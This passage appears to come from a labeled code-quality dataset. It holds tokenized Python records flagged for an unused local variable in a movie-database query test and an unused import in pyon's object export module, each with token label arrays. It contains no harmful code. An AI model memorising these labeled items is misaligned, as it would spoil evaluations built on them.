backend.filter(Actor,{'movies.title' : 'The Godfather'})\n\n assert len(result) == 2\n assert marlon_brando in result\n assert al_pacino in result\n\n\n result = backend.filter(Actor,{'movies' : {'$in' : [the_godfather,apocalypse_now]}})\n\n assert len(result) == 2\n assert marlon_brando in result\n assert al_pacino in result\n\n result = backend.filter(Actor,{'movies.title' : 'The Godfather'})\n\n assert len(result) == 2\n assert marlon_brando in result\n assert al_pacino in result\n\n result = backend.filter(Actor,{'movies.director.name' : {'$in' : ['Francis Coppola']}})\n\n assert len(result) == 2\n assert marlon_brando in result\n assert al_pacino in result\n\n result = backend.filter(Actor,{'movies.director.favorite_actor.name' : {'$in' : ['Al Pacino']}})\n\n assert len(result) == 2\n assert marlon_brando in result\n assert al_pacino in result\n\n result = backend.filter(Actor,{'movies.title' : {'$nin' : ['The Godfather','Apocalypse Now']}})\n\n assert len(result) == 0\n\n result = backend.filter(Actor,{'$or' : [{'movies.title' : 'The Godfather'},{'movies.title' : 'Apocalypse Now'}]})\n\n assert marlon_brando in result\n assert al_pacino in result\n assert len(result) == 2\n\n\n result = backend.filter(Movie,{'director' : francis_coppola})\n\n assert len(result) == 1\n assert the_godfather in result", "metadata": "root.test_basics", "header": "['module', '___EOS___']", "index": 31 } ]
[ { "span": "star_wars_v ", "start_line": 38, "start_column": 4, "end_line": 38, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "basics", "_", "(_", "backend_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "franc", "is", "\\u", "cop", "pol", "a_", "=_", "Director", "_", "(_", "{_", "'", "name", "'_", ":_", "'", "Franc", "is", " ", "Cop", "pol", "a", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "backend_", "._", "save_", "(_", "franc", "is", "\\u", "cop", "pol", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "the", "\\u", "god", "father_", "=_", "Movie_", "(_", "{_", "'", "title", "'_", ":_", "'", "The", " ", "Go", "dfa", "ther", "'_", ",_", "'", "director", "'_", ":_", "franc", "is", "\\u", "cop", "pol", "a_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "apo", "cal", "yp", "se", "\\u", "now_", "=_", "Movie_", "(_", "{_", "'", "title", "'_", ":_", "'", "Ap", "ocal", "yp", "se", " ", "No", "w", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "star", "\\u", "war", "s", "\\u", "v_", "=_", "Movie_", "(_", "{_", "'", "title", "'_", ":_", "'", "Star", " ", "War", "s", " ", "V", ":", " ", "The", " ", "Emp", "ire", " ", "Stri", "kes", " ", "Back", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "backend_", "._", "save_", "(_", "the", "\\u", "god", "father_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "backend_", "._", "save_", "(_", "apo", "cal", "yp", "se", "\\u", "now_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "mar", "lon", "\\u", "brand", "o_", "=_", "Actor_", "(_", "{_", "'", "name", "'_", ":_", "'", "Mar", "lon", " ", "Brand", "o", "'_", ",_", "'", "movie", "s", "'_", ":_", "[_", "the", "\\u", "god", "father_", ",_", "apo", "cal", "yp", "se", "\\u", "now_", "]_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "al", "\\u", "paci", "no_", "=_", "Actor_", "(_", "{_", "'", "name", "'_", ":_", "'", "Al", " ", "Pac", "ino", "'_", ",_", "'", "movie", "s", "'_", ":_", "[_", "the", "\\u", "god", "father_", "]_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "franc", "is", "\\u", "cop", "pol", "a_", "._", "favorite", "\\u", "actor_", "=_", "al", "\\u", "paci", "no_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "backend_", "._", "save_", "(_", "mar", "lon", "\\u", "brand", "o_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "backend_", "._", "save_", "(_", "al", "\\u", "paci", "no_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "backend_", "._", "save_", "(_", "franc", "is", "\\u", "cop", "pol", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "backend_", "._", "commit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "result_", "=_", "backend_", "._", "filter_", "(_", "Movie_", ",_", "{_", "'", "director", ".", "name", "'_", ":_", "franc", "is", "\\u", "cop", "pol", "a_", "._", "name_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "len_", "(_", "result_", ")_", "==_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "the", "\\u", "god", "father_", "in_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "result_", "=_", "backend_", "._", "filter_", "(_", "Movie_", ",_", "{_", "'", "director", ".", "name", "'_", ":_", "{_", "'$", "in", "'_", ":_", "[_", "franc", "is", "\\u", "cop", "pol", "a_", "._", "name_", ",_", "'", "Cli", "nt", " ", "Eas", "two", "od", "'_", "]_", "}_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "len_", "(_", "result_", ")_", "==_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "the", "\\u", "god", "father_", "in_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "result_", "=_", "backend_", "._", "filter_", "(_", "Actor_", ",_", "{_", "'", "movie", "s", "'_", ":_", "{_", "'$", "all", "'_", ":_", "[_", "the", "\\u", "god", "father_", ",_", "apo", "cal", "yp", "se", "\\u", "now_", "]_", "}_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "len_", "(_", "result_", ")_", "==_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "mar", "lon", "\\u", "brand", "o_", "in_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "result_", "=_", "backend_", "._", "filter_", "(_", "Actor_", ",_", "{_", "'", "movie", "s", "'_", ":_", "{_", "'$", "in", "'_", ":_", "[_", "the", "\\u", "god", "father_", ",_", "apo", "cal", "yp", "se", "\\u", "now_", "]_", "}_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "mar", "lon", "\\u", "brand", "o_", "in_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "al", "\\u", "paci", "no_", "in_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "len_", "(_", "result_", ")_", "==_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "result_", "=_", "backend_", "._", "filter_", "(_", "Actor_", ",_", "{_", "'", "movie", "s", ".", "title", "'_", ":_", "'", "The", " ", "Go", "dfa", "ther", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "len_", "(_", "result_", ")_", "==_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "mar", "lon", "\\u", "brand", "o_", "in_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "result_", "=_", "backend_", "._", "filter_", "(_", "Actor_", ",_", "{_", "'", "movie", "s", "'_", ":_", "{_", "'$", "elem", "Match", "'_", ":_", "{_", "'", "title", "'_", ":_", "'", "The", " ", "Go", "dfa", "ther", "'_", "}_", "}_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "len_", "(_", "result_", ")_", "==_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "mar", "lon", "\\u", "brand", "o_", "in_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "al", "\\u", "paci", "no_", "in_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "result_", "=_", "backend_", "._", "filter_", "(_", "Actor_", ",_", "{_", "'", "movie", "s", "'_", ":_", "{_", "'$", "all", "'_", ":_", "[_", "{_", "'$", "elem", "Match", "'_", ":_", "{_", "'", "title", "'_", ":_", "'", "The", " ", "Go", "dfa", "ther", "'_", "}_", "}_", ",_", "{_", "'$", "elem", "Match", "'_", ":_", "{_", "'", "title", "'_", ":_", "'", "Ap", "ocal", "yp", "se", " ", "No", "w", "'_", "}_", "}_", "]_", "}_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "len_", "(_", "result_", ")_", "==_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "mar", "lon", "\\u", "brand", "o_", "in_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "result_", "=_", "backend_", "._", "filter_", "(_", "Actor_", ",_", "{_", "'", "movie", "s", "'_", ":_", "{_", "'$", "all", "'_", ":_", "[_", "the", "\\u", "god", "father_", ",_", "apo", "cal", "yp", "se", "\\u", "now_", "]_", "}_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "len_", "(_", "result_", ")_", "==_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "mar", "lon", "\\u", "brand", "o_", "in_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "al", "\\u", "paci", "no_", "not_", "in_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "pytest_", "._", "raises_", "(_", "Attribute", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "this", " ", "query", " ", "is", " ", "ambiguous", " ", "and", " ", "hen", "ce", " ", "not", " ", "supported_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "backend_", "._", "filter_", "(_", "Actor_", ",_", "{_", "'", "movie", "s", "'_", ":_", "[_", "the", "\\u", "god", "father_", ",_", "apo", "cal", "yp", "se", "\\u", "now_", "]_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "result_", "=_", "backend_", "._", "filter_", "(_", "Actor_", ",_", "{_", "'", "movie", "s", ".", "title", "'_", ":_", "'", "The", " ", "Go", "dfa", "ther", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "len_", "(_", "result_", ")_", "==_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "mar", "lon", "\\u", "brand", "o_", "in_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "al", "\\u", "paci", "no_", "in_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "result_", "=_", "backend_", "._", "filter_", "(_", "Actor_", ",_", "{_", "'", "movie", "s", "'_", ":_", "{_", "'$", "in", "'_", ":_", "[_", "the", "\\u", "god", "father_", ",_", "apo", "cal", "yp", "se", "\\u", "now_", "]_", "}_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "len_", "(_", "result_", ")_", "==_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "mar", "lon", "\\u", "brand", "o_", "in_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "al", "\\u", "paci", "no_", "in_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "result_", "=_", "backend_", "._", "filter_", "(_", "Actor_", ",_", "{_", "'", "movie", "s", ".", "title", "'_", ":_", "'", "The", " ", "Go", "dfa", "ther", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "len_", "(_", "result_", ")_", "==_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "mar", "lon", "\\u", "brand", "o_", "in_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "al", "\\u", "paci", "no_", "in_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "result_", "=_", "backend_", "._", "filter_", "(_", "Actor_", ",_", "{_", "'", "movie", "s", ".", "director", ".", "name", "'_", ":_", "{_", "'$", "in", "'_", ":_", "[_", "'", "Franc", "is", " ", "Cop", "pol", "a", "'_", "]_", "}_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "len_", "(_", "result_", ")_", "==_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "mar", "lon", "\\u", "brand", "o_", "in_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "al", "\\u", "paci", "no_", "in_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "result_", "=_", "backend_", "._", "filter_", "(_", "Actor_", ",_", "{_", "'", "movie", "s", ".", "director", ".", "favorite", "\\u", "actor", ".", "name", "'_", ":_", "{_", "'$", "in", "'_", ":_", "[_", "'", "Al", " ", "Pac", "ino", "'_", "]_", "}_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "len_", "(_", "result_", ")_", "==_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "mar", "lon", "\\u", "brand", "o_", "in_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "al", "\\u", "paci", "no_", "in_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "result_", "=_", "backend_", "._", "filter_", "(_", "Actor_", ",_", "{_", "'", "movie", "s", ".", "title", "'_", ":_", "{_", "'$", "nin", "'_", ":_", "[_", "'", "The", " ", "Go", "dfa", "ther", "'_", ",_", "'", "Ap", "ocal", "yp", "se", " ", "No", "w", "'_", "]_", "}_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "len_", "(_", "result_", ")_", "==_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "result_", "=_", "backend_", "._", "filter_", "(_", "Actor_", ",_", "{_", "'$", "or", "'_", ":_", "[_", "{_", "'", "movie", "s", ".", "title", "'_", ":_", "'", "The", " ", "Go", "dfa", "ther", "'_", "}_", ",_", "{_", "'", "movie", "s", ".", "title", "'_", ":_", "'", "Ap", "ocal", "yp", "se", " ", "No", "w", "'_", "}_", "]_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "mar", "lon", "\\u", "brand", "o_", "in_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "al", "\\u", "paci", "no_", "in_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "len_", "(_", "result_", ")_", "==_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "result_", "=_", "backend_", "._", "filter_", "(_", "Movie_", ",_", "{_", "'", "director", "'_", ":_", "franc", "is", "\\u", "cop", "pol", "a_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "len_", "(_", "result_", ")_", "==_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "the", "\\u", "god", "father_", "in_", "result_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
ooici/pyon/pyon/core/interfaces/objgen.py
[ { "content": "#!/usr/bin/env python\n\n\"\"\"Resource and object export\"\"\"\n\n__author__ = 'Michael Meisinger'\n\nimport csv\nimport os.path\n\nfrom pyon.core.registry import getextends, isenum\nfrom pyon.public import RT, OT\n\nimport interface.objects\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class ObjectGenerator(object):\n\n", "metadata": "root.ObjectGenerator", "header": "['module', '___EOS___']", "index": 14 }, { "content": " @staticmethod\n def get_extends(obj_class):\n parents = [parent for parent in obj_class.__mro__ if parent.__name__ not in {'IonObjectBase', 'object', obj_class.__name__}]\n return parents", "metadata": "root.ObjectGenerator.get_extends", "header": "['class', 'ObjectGenerator', '(', 'object', ')', ':', '___EOS___']", "index": 16 }, { "content": " def export_objects(self, filename=None):\n sub_types = {}\n for obj_type in OT.keys():\n ot_class = getattr(interface.objects, obj_type)\n base_type = ot_class.__mro__[1].__name__\n sub_types.setdefault(base_type, set()).add(obj_type)\n\n res_rows = []\n for obj_type in sorted(OT.keys()):\n # Compute type level info\n is_leaf = str(not bool(sub_types.get(obj_type, None)))\n ot_class = getattr(interface.objects, obj_type)\n if not hasattr(ot_class, \"_schema\"):\n continue\n base_types_list = [bc.__name__ for bc in reversed(self.get_extends(ot_class))]\n base_type = base_types_list[-1] if base_types_list else \"\"\n base_types = \"/\".join(base_types_list[:-1])\n oschema = ot_class._schema\n if obj_type in RT:\n group = \"resource\"\n elif isenum(obj_type):\n group = \"enum\"\n elif \"origin\" in oschema and \"base_types\" in oschema:\n # Not all events end in Event\n group = \"event\"\n else:\n group = \"object\"\n\n res_rows.append([\"type\", base_types, base_type, obj_type, \"\", group, is_leaf, \"True\", \"\", \"\", ot_class._class_info.get(\"docstring\", \"\").replace(\"\\\\\", \"\").strip(), \"\"])\n\n # Add a few default attributes\n #res_rows.append([group, base_types, obj_type, \"type_\", \"str\", is_leaf, \"False\" if base_types else \"True\", \"\", \"\", \"Resource type\"])\n if group == \"resource\" or group == \"object\":\n res_rows.append([group, base_types, base_type, obj_type, \"__\", \"first\", is_leaf, \"True\", \"\", \"\", \"\", \"\"])\n\n # List attributes\n for att in sorted(oschema.keys()):\n if group == \"resource\" and att in {\"addl\", \"alt_ids\", \"_id\", \"name\", \"description\", \"lcstate\", \"availability\", \"ts_created\", \"ts_updated\"}:\n continue\n att_obj = oschema[att]\n ot, odef, odeco, odesc = att_obj[\"type\"], att_obj[\"default\"], att_obj[\"decorators\"], att_obj[\"description\"]\n if group == \"resource\" and att == \"name\":\n odesc = \"Human readable long name of the resource, displayable in lists\"\n\n att_def = obj_type\n leaf_attr = True\n for base_class in self.get_extends(ot_class):\n if hasattr(base_class, \"_schema\") and att in base_class._schema:\n att_def = base_class.__name__\n leaf_attr = False\n is_internal = \"\"\n attr_desc = odesc.replace(\"\\\\\", \"\").strip()\n if \"(SYS)\" in attr_desc:\n is_internal = \"System\"\n res_rows.append([group, base_types, base_type, obj_type, att, ot, is_leaf, leaf_attr, att_def, odef, attr_desc, is_internal])\n\n if not filename:\n csvfile_name = os.path.join(\"interface\", 'object_model.csv')\n try:\n os.unlink(csvfile_name)\n except:\n pass\n else:\n csvfile_name = filename\n\n print \" Writing object model csv to '\" + csvfile_name + \"'\"\n csvfile = csv.writer(open(csvfile_name, 'wb'), delimiter=',',\n quotechar='\"', quoting=csv.QUOTE_ALL)\n csvfile.writerow([\"Group\", \"Base Types\", \"Base Type\", \"Type Name\", \"Attribute\", \"Attr Type\", \"Leaf Type\", \"Leaf Attr\", \"Definition Type\", \"Default\", \"Description\", \"Internal\"])\n csvfile.writerows(res_rows)", "metadata": "root.ObjectGenerator.export_objects", "header": "['class', 'ObjectGenerator', '(', 'object', ')', ':', '___EOS___']", "index": 21 } ]
[ { "span": "from pyon.core.registry import getextends, isenum", "start_line": 9, "start_column": 0, "end_line": 9, "end_column": 49 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "Reso", "urc", "e", " ", "and", " ", "object", " ", "export", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u", "author\\u\\u_", "=_", "'", "Mich", "ael", " ", "Me", "ising", "er", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "csv_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "._", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "pyo", "n_", "._", "core_", "._", "registry_", "import_", "gete", "xte", "nds_", ",_", "ise", "num_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyo", "n_", "._", "public_", "import_", "RT_", ",_", "OT", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "interface_", "._", "objects_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Object", "Generator_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Object", "Generator_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "extend", "s_", "(_", "obj", "\\u", "class_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "parents_", "=_", "[_", "parent_", "for_", "parent_", "in_", "obj", "\\u", "class_", "._", "\\u\\u", "mro", "\\u\\u_", "if_", "parent_", "._", "\\u\\u", "name\\u\\u_", "not_", "in_", "{_", "'", "Io", "n", "Object", "Base", "'_", ",_", "'", "object", "'_", ",_", "obj", "\\u", "class_", "._", "\\u\\u", "name\\u\\u_", "}_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "parents_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Object", "Generator_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "export", "\\u", "objects_", "(_", "self_", ",_", "filename_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sub\\u", "types_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "obj", "\\u", "type_", "in_", "OT", "_", "._", "keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ot", "\\u", "class_", "=_", "getattr_", "(_", "interface_", "._", "objects_", ",_", "obj", "\\u", "type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "base", "\\u", "type_", "=_", "ot", "\\u", "class_", "._", "\\u\\u", "mro", "\\u\\u_", "[_", "1_", "]_", "._", "\\u\\u", "name\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sub\\u", "types_", "._", "setdefault_", "(_", "base", "\\u", "type_", ",_", "set_", "(_", ")_", ")_", "._", "add_", "(_", "obj", "\\u", "type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "res", "\\u", "rows_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "obj", "\\u", "type_", "in_", "sorted_", "(_", "OT", "_", "._", "keys_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Compute", " ", "type", " ", "level", " ", "info_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "is", "\\u", "leaf_", "=_", "str_", "(_", "not_", "bool_", "(_", "sub\\u", "types_", "._", "get_", "(_", "obj", "\\u", "type_", ",_", "None_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ot", "\\u", "class_", "=_", "getattr_", "(_", "interface_", "._", "objects_", ",_", "obj", "\\u", "type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "hasattr_", "(_", "ot", "\\u", "class_", ",_", "\"\\u", "schema", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "base", "\\u", "types", "\\u", "list_", "=_", "[_", "bc_", "._", "\\u\\u", "name\\u\\u_", "for_", "bc_", "in_", "reversed_", "(_", "self_", "._", "get", "\\u", "extend", "s_", "(_", "ot", "\\u", "class_", ")_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "base", "\\u", "type_", "=_", "base", "\\u", "types", "\\u", "list_", "[_", "-_", "1_", "]_", "if_", "base", "\\u", "types", "\\u", "list_", "else_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "base", "\\u", "types_", "=_", "\"/\"_", "._", "join_", "(_", "base", "\\u", "types", "\\u", "list_", "[_", ":_", "-_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "osc", "hema", "_", "=_", "ot", "\\u", "class_", "._", "\\u", "schema_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "obj", "\\u", "type_", "in_", "RT_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "group_", "=_", "\"", "resource", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "ise", "num_", "(_", "obj", "\\u", "type_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "group_", "=_", "\"", "enum", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "\"", "orig", "in", "\"_", "in_", "osc", "hema", "_", "and_", "\"", "base", "\\u", "types", 